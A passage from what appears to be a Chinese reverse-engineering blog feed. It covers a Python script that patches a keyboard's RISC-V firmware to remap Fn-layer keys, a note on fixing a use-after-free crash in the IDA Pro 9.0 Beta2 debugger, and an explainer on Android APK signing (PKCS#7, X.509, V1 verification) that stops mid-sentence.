class="line">fn_layer_handler fn_layer_handler_arr[32];</span><br></pre></td></tr></table></figure><p>交叉引用看看对这个表的处理，首先是对 <code>fn_layer</code> 所支持按键的扫描处理：</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/632f3f319d1abb6668fb087b1c399de9.png" alt="image.png"></p><p>其中 <code>fn_layer_key</code> 是我自己命名的名字，数据是一堆 <code>key-code</code>。把里面的数据拿出来，根据卖键盘的给我的说明书翻译一下，刚好包含了说明书里的所有 Fn 组合键。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Keyboard w and W   -- 2.4g 无线模式</span><br><span class="line">Keyboard e and E   -- 蓝牙模式</span><br><span class="line">Keyboard q and Q   -- 有线模式</span><br><span class="line">Keyboard k and K   -- Mac/Win 切换</span><br><span class="line">Keyboard t and T   -- 配对2.4g</span><br><span class="line">Keyboard / and ?   -- 静音</span><br><span class="line">Keyboard , and &lt;   -- 音量减     </span><br><span class="line">Keyboard . and &gt;   -- 音量加</span><br><span class="line">Keyboard z and Z   -- RGB 灯开关 </span><br><span class="line">Keyboard x and X   -- RGB 灯模式+</span><br><span class="line">Keyboard c and C   -- RGB 灯模式-</span><br><span class="line">Keyboard v and V   -- RGB 灯速度变化</span><br><span class="line">Keyboard b and B   -- 开启默认随机灯效模式</span><br><span class="line">Keyboard n and N   -- 开启/关闭电磁阀</span><br><span class="line">Keyboard m and M   -- 开启/关闭蜂鸣器</span><br><span class="line">Keyboard 1 and !   -- 以下为 F1 -- F12</span><br><span class="line">Keyboard 2 and @</span><br><span class="line">Keyboard 3 and #</span><br><span class="line">Keyboard 4 and $</span><br><span class="line">Keyboard 5 and %</span><br><span class="line">Keyboard 6 and ∧</span><br><span class="line">Keyboard 7 and &amp;</span><br><span class="line">Keyboard 8 and *</span><br><span class="line">Keyboard 9 and (</span><br><span class="line">Keyboard 0 and )</span><br><span class="line">Keyboard - and (underscore)</span><br><span class="line">Keyboard = and +</span><br><span class="line">Keyboard ESCAPE   -- ~`键</span><br><span class="line">Keyboard a and A  -- 长按换第一个蓝牙设备</span><br><span class="line">Keyboard s and S  -- 长按换第二个蓝牙设备</span><br><span class="line">Keyboard d and D  -- 长按换第三个蓝牙设备</span><br><span class="line">Keyboard f and F  -- 长按换第四个蓝牙设备</span><br></pre></td></tr></table></figure><p>扫描完之后就是处理了，和说明书里对应的非常完美刚好是最后 4 个是长按。</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/5f585f58398eb80632a1b7537a57a634.png" alt="image.png"></p><p>这就比较明朗了，只需要修改 <code>fn_layer_key</code> 数组里的值和对应位置的 <code>fn_layer_handler_arr</code> 的函数的实现即可实现对 Fn 层快捷键的 VIA。</p><h2 id="03-Patch-实现"><a href="#03-Patch-实现" class="headerlink" title="03. Patch 实现"></a>03. Patch 实现</h2><p>keystone 不支持 RISC-V，直接用编译器生成。</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/d26b5f7a35d4e1bf72d4fdece4f8315f.png" alt="image.png"></p><p>然后修改一下 ld 文件，把 <code>.patch_code</code> 段放到指定地址，然后提出来直接用即可。</p><p><img src="/posts/imk-%E9%94%AE%E7%9B%98%E9%80%86%E5%90%91/ab768942bf7053e462019785ad5a3e7d.png" alt="image.png"></p><p>下面是完整实现</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> HID_const <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_byte</span>(<span class="params">file, addr, value</span>):</span><br><span class="line">    file.seek(addr)</span><br><span class="line">    file.write(struct.pack(<span class="string">&#x27;&lt;B&#x27;</span>, value))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">write_dword</span>(<span class="params">file, addr, value</span>):</span><br><span class="line">    file.seek(addr)</span><br><span class="line">    file.write(struct.pack(<span class="string">&#x27;&lt;I&#x27;</span>, value))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">disable_rshift</span>(<span class="params">file</span>):</span><br><span class="line">    file.seek(<span class="number">0x729c</span> + <span class="number">2</span>)</span><br><span class="line">    file.write(<span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;f00f&#x27;</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">disable_ralt</span>(<span class="params">file</span>):</span><br><span class="line">    file.seek(<span class="number">0x728a</span> + <span class="number">2</span>)</span><br><span class="line">    file.write(<span class="built_in">bytes</span>.fromhex(<span class="string">&#x27;f00f&#x27;</span>))</span><br><span class="line"></span><br><span class="line">keymap_offset = <span class="number">0x32ca4</span></span><br><span class="line">fn_layer_key_arr_offset = <span class="number">0x30de0</span></span><br><span class="line">fn_layer_handler_arr_offset = <span class="number">0x30cc8</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;./3M_2X&#x27;</span>, <span class="string">&#x27;rb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    content = <span class="built_in">bytearray</span>(f.read())</span><br><span class="line"></span><br><span class="line">patched_f = <span class="built_in">open</span>(<span class="string">&#x27;./3M_2X_patched&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>)</span><br><span class="line">patched_f.write(content)  <span class="comment"># 写入原始内容</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 对基础按键的修改</span></span><br><span class="line">disable_ralt(patched_f)</span><br><span class="line">write_byte(patched_f, keymap_offset + <span class="number">7</span> * <span class="number">9</span> + <span class="number">7</span> - <span class="number">1</span>, HID_KEYBOARD_GRV_ACCENT)</span><br><span class="line">disable_rshift(patched_f)</span><br><span class="line">write_byte(patched_f, keymap_offset + <span class="number">7</span> * <span class="number">11</span> + <span class="number">6</span> - <span class="number">1</span>, HID_KEYBOARD_F7)</span><br><span class="line">write_byte(patched_f, keymap_offset + <span class="number">7</span> * <span class="number">13</span> + <span class="number">6</span> - <span class="number">1</span>, HID_KEYBOARD_F8)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对 fn_layer 的修改</span></span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">8</span>, HID_KEYBOARD_GRV_ACCENT)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">9</span>, HID_KEYBOARD_LEFT_ARROW)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">10</span>, HID_KEYBOARD_RIGHT_ARROW)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">11</span>, HID_KEYBOARD_UP_ARROW)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">12</span>, HID_KEYBOARD_DOWN_ARROW)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">28</span>, HID_KEYBOARD_LEFT_BRKT)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">29</span>, HID_KEYBOARD_RIGHT_BRKT)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">30</span>, HID_KEYBOARD_SEMI_COLON)</span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">31</span>, HID_KEYBOARD_SGL_QUOTE)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 对 修改映射和功能的</span></span><br><span class="line"><span class="comment"># Insert</span></span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">27</span>, HID_KEYBOARD_I)</span><br><span class="line"><span class="comment"># 修改 fn_layer_handler_arr[27] 为输入 Insert</span></span><br><span class="line">handler_insert_addr = <span class="number">0x33000</span></span><br><span class="line">write_dword(patched_f, fn_layer_handler_arr_offset + <span class="number">27</span> * <span class="number">8</span> + <span class="number">4</span>, handler_insert_addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Delete</span></span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">13</span>, HID_KEYBOARD_D)</span><br><span class="line"><span class="comment"># 修改 fn_layer_handler_arr[13] 为输入 Delete</span></span><br><span class="line">handler_delete_addr = <span class="number">0x3305e</span></span><br><span class="line">write_dword(patched_f, fn_layer_handler_arr_offset + <span class="number">13</span> * <span class="number">8</span> + <span class="number">4</span>, handler_delete_addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># PrintScreen</span></span><br><span class="line">write_byte(patched_f, fn_layer_key_arr_offset + <span class="number">14</span>, HID_KEYBOARD_P)</span><br><span class="line"><span class="comment"># 修改 fn_layer_handler_arr[14] 为输入 PrintScreen</span></span><br><span class="line">handler_print_screen_addr = <span class="number">0x330bc</span></span><br><span class="line">write_dword(patched_f, fn_layer_handler_arr_offset + <span class="number">14</span> * <span class="number">8</span> + <span class="number">4</span>, handler_print_screen_addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 插入代码</span></span><br><span class="line">patched_f.seek(<span class="number">0x33000</span>)</span><br><span class="line">code = <span class="built_in">bytes</span>.fromhex(<span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">01 11 06 CE 22 CC 26 CA 83 07 15 00 02 C2 02 C4</span></span><br><span class="line"><span class="string">23 06 01 00 A1 E3 83 07 05 00 89 C7 93 07 90 04</span></span><br><span class="line"><span class="string">A3 03 F1 00 25 64 B7 74 00 20 93 07 44 4F 13 85</span></span><br><span class="line"><span class="string">84 83 82 97 A1 47 63 FF A7 00 05 46 4C 00 13 85</span></span><br><span class="line"><span class="string">84 83 13 04 A4 53 02 94 21 46 93 05 51 00 13 85</span></span><br><span class="line"><span class="string">84 83 02 94 F2 40 62 44 D2 44 05 61 82 80 01 11</span></span><br><span class="line"><span class="string">06 CE 22 CC 26 CA 83 07 15 00 02 C2 02 C4 23 06</span></span><br><span class="line"><span class="string">01 00 A1 E3 83 07 05 00 89 C7 93 07 C0 04 A3 03</span></span><br><span class="line"><span class="string">F1 00 25 64 B7 74 00 20 93 07 44 4F 13 85 84 83</span></span><br><span class="line"><span class="string">82 97 A1 47 63 FF A7 00 05 46 4C 00 13 85 84 83</span></span><br><span class="line"><span class="string">13 04 A4 53 02 94 21 46 93 05 51 00 13 85 84 83</span></span><br><span class="line"><span class="string">02 94 F2 40 62 44 D2 44 05 61 82 80 01 11 06 CE</span></span><br><span class="line"><span class="string">22 CC 26 CA 83 07 15 00 02 C2 02 C4 23 06 01 00</span></span><br><span class="line"><span class="string">A1 E3 83 07 05 00 89 C7 93 07 60 04 A3 03 F1 00</span></span><br><span class="line"><span class="string">25 64 B7 74 00 20 93 07 44 4F 13 85 84 83 82 97</span></span><br><span class="line"><span class="string">A1 47 63 FF A7 00 05 46 4C 00 13 85 84 83 13 04</span></span><br><span class="line"><span class="string">A4 53 02 94 21 46 93 05 51 00 13 85 84 83 02 94</span></span><br><span class="line"><span class="string">F2 40 62 44 D2 44 05 61 82 80</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span>)</span><br><span class="line">patched_f.write(code)</span><br><span class="line"></span><br><span class="line">patched_f.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> intelhex</span><br><span class="line"></span><br><span class="line">intelhex.bin2hex(<span class="string">&#x27;./3M_2X_patched&#x27;</span>, <span class="string">&#x27;./3M_2X_patched.hex&#x27;</span>)</span><br></pre></td></tr></table></figure><p>Patch 完之后烧写测试发现功能和预期完全一样，不禁大喊一声：<strong>高玉灿牛逼 😋</strong></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>IDA Pro 9.0 Beta2 Local Windows Debugger Crash</title>
      <link>https://blog.gaoyucan.site/posts/ida-pro-9-0-beta2-local-windows-debugger-crash/</link>
      <description>
        <![CDATA[<h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a><strong>问题描述</strong></h2><p>在使用 Local Windows Debugger 时，通过终止程序的方式结束调试会导致]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/">逆向工程</category>
      <category domain="https://blog.gaoyucan.site/tags/IDA-Pro/">IDA Pro</category>
      <pubDate>Wed, 14 Aug 2024 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a><strong>问题描述</strong></h2><p>在使用 Local Windows Debugger 时，通过终止程序的方式结束调试会导致 IDA 发生 Crash.</p><h2 id="问题分析"><a href="#问题分析" class="headerlink" title="问题分析"></a><strong>问题分析</strong></h2><p>通过查看 dmp 文件，可以找到 Crash 发生的地方为 <code>0x10B953</code></p><p><img src="/posts/ida-pro-9-0-beta2-local-windows-debugger-crash/beff9d24154476ec0b952ce755e85103.png" alt="image-20240815203808698.png"></p><p>对 IDA Pro Crash 处进行调试发现，原因为 <em>(dbg + 0x38) 处的堆块已经被释放，</em>(*(dbg + 0x38) + rax)又被别的地方申请后设置成了 0，导致 rdx 取到的值为 0，进而导致 rdx - rbx + rbx 为 0，出现空指针异常，显然这是一个典型的 UAF 漏洞。</p><p><img src="/posts/ida-pro-9-0-beta2-local-windows-debugger-crash/dc87d4613bc737638c27e003b709ed6d.png" alt="image-20240815204349563.png"></p><h3 id="临时修复"><a href="#临时修复" class="headerlink" title="临时修复"></a><strong>临时修复</strong></h3><p>在 free 函数下条件断点，发现 *(dbg + 0x38) 是在下图所示位置 free 的，在 win32_user64.dll 中的 RVA: 0x3A1C，把此处 free 调用 NOP 掉即可修复。</p><p><img src="/posts/ida-pro-9-0-beta2-local-windows-debugger-crash/736d07c118a832551e95d08897bb3130.png" alt="image-20240815210322725.png"></p>]]>
      </content:encoded>
    </item>
    <item>
      <title>Android APK 签名扫盲</title>
      <link>https://blog.gaoyucan.site/posts/android-apk-%E7%AD%BE%E5%90%8D%E6%89%AB%E7%9B%B2/</link>
      <description>
        <![CDATA[<h1 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a><strong>前置知识</strong></h1><p><code>PKCS#7</code>、<code>X.509</code>、<code>]]>
      </description>
      <author>s1nk</author>
      <category domain="https://blog.gaoyucan.site/categories/%E6%8A%80%E6%9C%AF%E5%88%86%E4%BA%AB/">技术分享</category>
      <category domain="https://blog.gaoyucan.site/tags/Android/">Android</category>
      <category domain="https://blog.gaoyucan.site/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%9F%BA%E7%A1%80/">计算机基础</category>
      <pubDate>Tue, 13 Feb 2024 16:00:00 GMT</pubDate>
      <content:encoded>
        <![CDATA[<h1 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a><strong>前置知识</strong></h1><p><code>PKCS#7</code>、<code>X.509</code>、<code>DER</code> 、<code>PEM</code>、<code>数字签名</code>、<code>数字证书</code> 这些都是在处理公钥加密、数字签名时，常见的一些名词，但是我一直对他们不甚了解，尤其是前面两个。下面的内容是对它们的一些介绍。</p><h2 id="DER-和-PEM"><a href="#DER-和-PEM" class="headerlink" title="DER 和 PEM"></a><strong>DER 和 PEM</strong></h2><p>首先，二者都是常用的用于公钥密码密钥&#x2F;证书的编码方式，而且可以相互转换。</p><h3 id="DER"><a href="#DER" class="headerlink" title="DER"></a><strong>DER</strong></h3><p><strong>DER</strong>：Distinguished Encoding Rules，可分辩编码规则。具体来说，DER 是对 ASN.1 值的一种二进制编码方式。</p><blockquote><p>在电信和计算机网络领域，ASN.1（Abstract Syntax Notation One) 是一套标准，是描述数据的表示、编码、传输、解码的灵活的记法。它提供了一套正式、无歧义和精确的规则以描述独立于特定计算机硬件的对象结构。</p></blockquote><h3 id="PEM"><a href="#PEM" class="headerlink" title="PEM"></a><strong>PEM</strong></h3><p><strong>PEM</strong>：Privacy-Enhanced Mail，隐私增强邮件。简单来说，PEM就是对DER数据进行 Base64 编码后，前后加上头。格式如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">-----BEGIN &lt;？？？&gt;-----</span><br><span class="line">&lt;Base64 编码后的 DER 数据&gt;</span><br><span class="line">-----END &lt;？？？&gt;-----</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="数字证书-和-X-509"><a href="#数字证书-和-X-509" class="headerlink" title="数字证书 和 X.509"></a><strong>数字证书 和 X.509</strong></h2><h3 id="数字证书"><a href="#数字证书" class="headerlink" title="数字证书"></a><strong>数字证书</strong></h3><p>数字证书是在 Internet 上唯一地标识人员和资源的电子文件。数字证书可以防止中间人攻击，具体的介绍可以看下面的链接：<a href="https://blog.csdn.net/qq_35760825/article/details/126356658">数字证书简介</a></p><h3 id="X-509"><a href="#X-509" class="headerlink" title="X.509"></a><strong>X.509</strong></h3><p>X.509 是数字证书的一种标准格式，通俗来说就是一种数字证书的发布者、公钥等信息的组织形式。下图就是一个 X.509 格式的数字证书的内容：</p><p><img src="/posts/android-apk-%E7%AD%BE%E5%90%8D%E6%89%AB%E7%9B%B2/6ff09c71fa6471e2aaecd3cf5184bd7f.png" alt="image-20240214213040934.png"></p><h2 id="数字签名-和-PKCS-7"><a href="#数字签名-和-PKCS-7" class="headerlink" title="数字签名 和 PKCS#7"></a><strong>数字签名 和 PKCS#7</strong></h2><h3 id="数字签名"><a href="#数字签名" class="headerlink" title="数字签名"></a><strong>数字签名</strong></h3><p>什么是数字签名，以及它和数字证书的关系。参考：<a href="https://www.ruanyifeng.com/blog/2011/08/what_is_a_digital_signature.html">数字签名是什么？</a></p><h3 id="PKCS-7"><a href="#PKCS-7" class="headerlink" title="PKCS#7"></a><strong>PKCS#7</strong></h3><p>在密码学中，<code>PKCS#7</code>是用于存储签名或加密数据 <strong>标准语法</strong>。我个人的理解是，在传输签名后的数据时，我们传输的数据需要包括：原文、数字证书（在 <code>PKCS#7</code> 中就是 X.509 格式的）、签名算法（如 <em>RSA</em> Signature with <em>SHA-256</em>）、签名数据等数据，而<code>PKCS#7</code> 就是规定了这些数据的组织形式的一个标准。</p><p>我们可以使用 <code>openssl</code> 工具对 <code>PKCS#7</code>格式的数据，进行解析、展示：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">openssl pkcs7 --inform DER -in [der 格式的签名文件路径] --print</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/posts/android-apk-%E7%AD%BE%E5%90%8D%E6%89%AB%E7%9B%B2/36104f2a2a760a0aef37ec757ad6415c.png" alt="image-20240214210547926.png"></p><h1 id="正题"><a href="#正题" class="headerlink" title="正题"></a><strong>正题</strong></h1><p>这里主要是为了解答我自己的这么几个问题：</p><ul><li>在日常开发中，通过 PackageInfo.signatures 拿到的是什么？</li><li>Android 的签名验证机制是如何工作的？</li></ul><p>阅读以下内容之前，请先阅读下文：<a href="https://github.com/jeanboydev/Android-ReadTheFuckingSourceCode/blob/master/article/android/basic/09_signature.md">Android 签名机制 v1、v2、v3</a></p><p>好，看完后第二个问题解决了。🤣</p><h3 id="问题一"><a href="#问题一" class="headerlink" title="问题一"></a><strong>问题一</strong></h3><h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a><strong>分析</strong></h3><blockquote><p>分析源代码写的很乱，可以自己看省流</p></blockquote><p>第一个问题还是不知道，通过对 Android 源代码的最终发现，PackageInfo.signatures 是在 PackageParser 这个类进行的赋值，而 PackageParser 则是使用 ApkSignatureVerifier#verify 这个方法获取的签名信息。这个类中依次尝试使用 <code>V4</code>、<code>V3</code>、<code>V2</code>、<code>V1</code>对apk 进行签名校验，我们这里挑最具通用性，也最容易理解的 V1 来进行阅读。</p><blockquote><p>V1、V2、V3、V4 签名，参考 Android 官方文档：应用签名</p></blockquote><p>首先，获取 apk 文件 META-INF 目录下，以 RSA、DSA、EC 为拓展名的文件，作为&quot;证书文件&quot;。以 CERT.RSA 为例，接下来就会获取 CERT.SF 文件内容，然后校验 <code>CERT.SF</code>文件内容。</p><blockquote><p>前面提到了 PKCS#7，CERT.RSA 就是 PKCS#7 格式的签名数据，其中包括数字证书、签名算法（如 RSA Signature with SHA-256）、签名数据等数据，可以说除了原文该有的基本都有。而原文就是 CERT.SF 的文件内容。</p></blockquote><p>然后是使用签名文件（SF 文件）检验 MF 文件没有被修改过，并把SF文件和其对应的证书链对应起来了，还有把SF文件和SF文件中所包含的文件对应起来（看起来好像是一个文件可能被多个 SF 文件包含，但是我没见过）。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">verifyCertificate</span><span class="params">(String certFile)</span> &#123;</span><br><span class="line"><span class="comment">// Found Digital Sig, .SF should already have been read</span></span><br><span class="line"><span class="type">String</span> <span class="variable">signatureFile</span> <span class="operator">=</span> certFile.substring(<span class="number">0</span>, certFile.lastIndexOf(<span class="string">&#x27;.&#x27;</span>)) + <span class="string">&quot;.SF&quot;</span>;</span><br><span class="line">    <span class="type">byte</span>[] sfBytes = metaEntries.get(signatureFile);</span><br><span class="line">    <span class="keyword">if</span> (sfBytes == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">byte</span>[] manifestBytes = metaEntries.get(JarFile.MANIFEST_NAME);</span><br><span class="line"><span class="comment">// Manifest entry is required for any verifications.</span></span><br><span class="line"><span class="keyword">if</span> (manifestBytes == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">byte</span>[] sBlockBytes = metaEntries.get(certFile);</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        Certificate[] signerCertChain = verifyBytes(sBlockBytes, sfBytes);</span><br><span class="line">        <span class="keyword">if</span> (signerCertChain != <span class="literal">null</span>) &#123;</span><br><span class="line">            certificates.put(signatureFile, signerCertChain);<span class="comment">// 等下用到了</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (GeneralSecurityException e) &#123;</span><br><span class="line">      <span class="keyword">throw</span> failedVerification(jarName, signatureFile, e);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Verify manifest hash in .sf file</span></span><br><span class="line"><span class="type">Attributes</span> <span class="variable">attributes</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Attributes</span>();</span><br><span class="line">    HashMap&lt;String, Attributes&gt; entries = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;String, Attributes&gt;();</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">StrictJarManifestReader</span> <span class="variable">im</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StrictJarManifestReader</span>(sfBytes, attributes);</span><br><span class="line">        im.readEntries(entries, <span class="literal">null</span>);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// If requested, check whether a newer APK Signature Scheme signature was stripped.</span></span><br><span class="line"><span class="keyword">if</span> (signatureSchemeRollbackProtectionsEnforced) &#123;</span><br><span class="line"><span class="comment">// 无关，省了</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Do we actually have any signatures to look at?</span></span><br><span class="line"><span class="keyword">if</span> (attributes.get(Attributes.Name.SIGNATURE_VERSION) == <span class="literal">null</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">boolean</span> <span class="variable">createdBySigntool</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">    <span class="type">String</span> <span class="variable">createdBy</span> <span class="operator">=</span> attributes.getValue(<span class="string">&quot;Created-By&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> (createdBy != <span class="literal">null</span>) &#123;</span><br><span class="line">        createdBySigntool = createdBy.indexOf(<span class="string">&quot;signtool&quot;</span>) != -<span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Use .SF to verify the mainAttributes of the manifest</span></span><br><span class="line"><span class="comment">// If there is no -Digest-Manifest-Main-Attributes entry in .SF</span></span><br><span class="line"><span class="comment">// file, such as those created before java 1.5, then we ignore</span></span><br><span class="line"><span class="comment">// such verification.</span></span><br><span class="line"><span class="keyword">if</span> (mainAttributesEnd &gt; <span class="number">0</span> &amp;&amp; !createdBySigntool) &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">digestAttribute</span> <span class="operator">=</span> <span class="string">&quot;-Digest-Manifest-Main-Attributes&quot;</span>;</span><br><span class="line">        <span class="keyword">if</span> (!verify(attributes, digestAttribute, manifestBytes, <span class="number">0</span>, mainAttributesEnd, <span class="literal">false</span>, <span class="literal">true</span>)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> failedVerification(jarName, signatureFile);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Use .SF to verify the whole manifest.</span></span><br><span class="line"><span class="type">String</span> <span class="variable">digestAttribute</span> <span class="operator">=</span> createdBySigntool ? <span class="string">&quot;-Digest&quot;</span> : <span class="string">&quot;-Digest-Manifest&quot;</span>;</span><br><span class="line">    <span class="keyword">if</span> (!verify(attributes, digestAttribute, manifestBytes, <span class="number">0</span>, manifestBytes.length, <span class="literal">false</span>, <span class="literal">false</span>)) &#123;</span><br><span class="line">        Iterator&lt;Map.Entry&lt;String, Attributes&gt;&gt; it = entries.entrySet().iterator();</span><br><span class="line">        <span class="keyword">while</span> (it.hasNext()) &#123;</span><br><span class="line">            Map.Entry&lt;String, Attributes&gt; entry = it.next();</span><br><span class="line">            StrictJarManifest.<span class="type">Chunk</span> <span class="variable">chunk</span> <span class="operator">=</span> manifest.getChunk(entry.getKey());</span><br><span class="line">            <span class="keyword">if</span> (chunk == <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (!verify(entry.getValue(), <span class="string">&quot;-Digest&quot;</span>, manifestBytes,</span><br><span class="line">                    chunk.start, chunk.end, createdBySigntool, <span class="literal">false</span>)) &#123;</span><br><span class="line">                <span class="keyword">throw</span> invalidDigest(signatureFile, entry.getKey(), jarName);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    metaEntries.put(signatureFile, <span class="literal">null</span>);</span><br><span class="line">    signatures.put(signatureFile, entries);<span class="comment">// 把SF文件和SF文件中所包含的文件对应起来</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后，获取 AndroidManifest.xml 文件对应的 ZipEntry, 调用 <code>loadCertificates</code>函数，结果经过 <code>convertToSignatures</code> 得到的结果就是 <code>PackageInfo.signatures</code></p><p>看来关键就在于 loadCertificates 这个函数了，</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> ParseResult&lt;Certificate[][]&gt; loadCertificates(ParseInput input,</span><br><span class="line">        StrictJarFile jarFile, ZipEntry entry) &#123;</span><br><span class="line">    <span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line"><span class="comment">// We must read the stream for the JarEntry to retrieve</span></span><br><span class="line"><span class="comment">// its certificates.</span></span><br><span class="line">        is = jarFile.getInputStream(entry);</span><br><span class="line">        readFullyIgnoringContents(is);</span><br><span class="line">        <span class="keyword">return</span> input.success(jarFile.getCertificateChains(entry));</span><br><span class="line">    &#125; <span class="keyword">catch</span> (IOException | RuntimeException e) &#123;</span><br><span class="line">        <span class="keyword">return</span> input.error(INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION,</span><br><span class="line">                <span class="string">&quot;Failed reading &quot;</span> + entry.getName() + <span class="string">&quot; in &quot;</span> + jarFile, e);</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        IoUtils.closeQuietly(is);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>首先是题外的，readFullyIgnoringContents 是在干什么呢？ 读了又不要，很奇怪吧。其实 jarFile.getInputStream 获取的是 StrictJarFile.JarFileInputStream</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> InputStream <span class="title function_">getInputStream</span><span class="params">(ZipEntry ze)</span> &#123;</span><br><span class="line">    <span class="keyword">final</span> <span class="type">InputStream</span> <span class="variable">is</span> <span class="operator">=</span> getZipInputStream(ze);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (isSigned) &#123;</span><br><span class="line">        StrictJarVerifier.<span class="type">VerifierEntry</span> <span class="variable">entry</span> <span class="operator">=</span> verifier.initEntry(ze.getName());</span><br><span class="line">        <span class="keyword">if</span> (entry == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> is;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">JarFileInputStream</span>(is, ze.getSize(), entry);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> is;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这里还有一个比较关键的函数 initEntry，它把 MANIFEST.MF 